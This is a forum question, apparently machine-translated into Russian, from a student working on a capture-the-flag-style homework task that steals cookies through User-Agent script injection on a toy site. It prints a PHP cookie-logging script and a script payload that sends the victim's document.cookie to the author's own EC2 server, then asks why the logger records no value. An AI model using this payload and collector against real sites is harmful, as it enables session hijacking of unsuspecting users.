Я делаю это постоянное домашнее задание по созданию межсайтовых сценариев. Предполагается, что мы украдем cookie с помощью инъекции useragent. Более подробную информацию об этой задаче можно найти на этой странице (базовый 41) :
Справочная информация:
, так как этот вызов находится на игрушечном веб-сайте, веб-сайт имитирует жертву, просматривая страницу для нас. Что нам нужно сделать, это внедрить код на сервер страницы запроса, украсть cookie-файл жертвы с помощью этого кода и отправить эти куки-файлы на веб-сервер, который мы настроили сами. После того, как мы успешно собрали файлы cookie жертв, мы можем установить собственные значения cookie для этих значений, чтобы пройти испытание.
Что я сделал до сих пор:
Настройте веб-сервер на aws ec2
.
Я верю, что это centos, но не могу найти больше информации о выпуске, так как возникают проблемы с установкой пакета centos-release или тому подобного. Все, что я могу найти, это только: Amazon Linux AMI 2018.03.0.20181129 x86_64 HVM gp2
. Для входящих правил установлены порт 22 для ssh
и порт 80 для http
. Установлены и протестированы httpd, mysql, php. Файл index.html
в /var/www/http
нормально отображается в браузере.
Положите cookie_stealer.php
под /var/www/http
Мой код cookie_stealer.php
:
<?php
$cookie = isset($_GET['c']) ? $_GET['c'] : 'There is no variable c';
$fp = fopen('log.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>
- Внедрить код в пользовательский агент Chrome:
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+document.cookie</script>
Пока я успешно ввел код, но значение document.cookie
не будет передано в мой php-файл. Поэтому сейчас я сосредоточен на этой проблеме.
- дополнительная информация
Я проверяю, как передать переменную в php, проверяя через url:
http://ec2-52-91-99-56.compute-1.amazonaws.com/cookie.php?c=ahhh
Интересно (странно !!), что после того, как я добавил следующую строку в свой php-файл после строки $_GET['c']
:
echo 'Cookie: ' . $cookie . "\r\n";
значение c
может быть напечатано на веб-странице как ahhh
, но не записано в log.txt
. log.txt
записывает только это:
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
У меня вопрос: если переменная c
передается на $cookie
на сервере, почему этот троичный оператор всегда возвращает 'There is no variable c'
, пока на веб-странице отображается ahhh
. Может кто-нибудь сказать мне, почему это происходит или где еще я могу посмотреть? Любая подсказка будет оценена!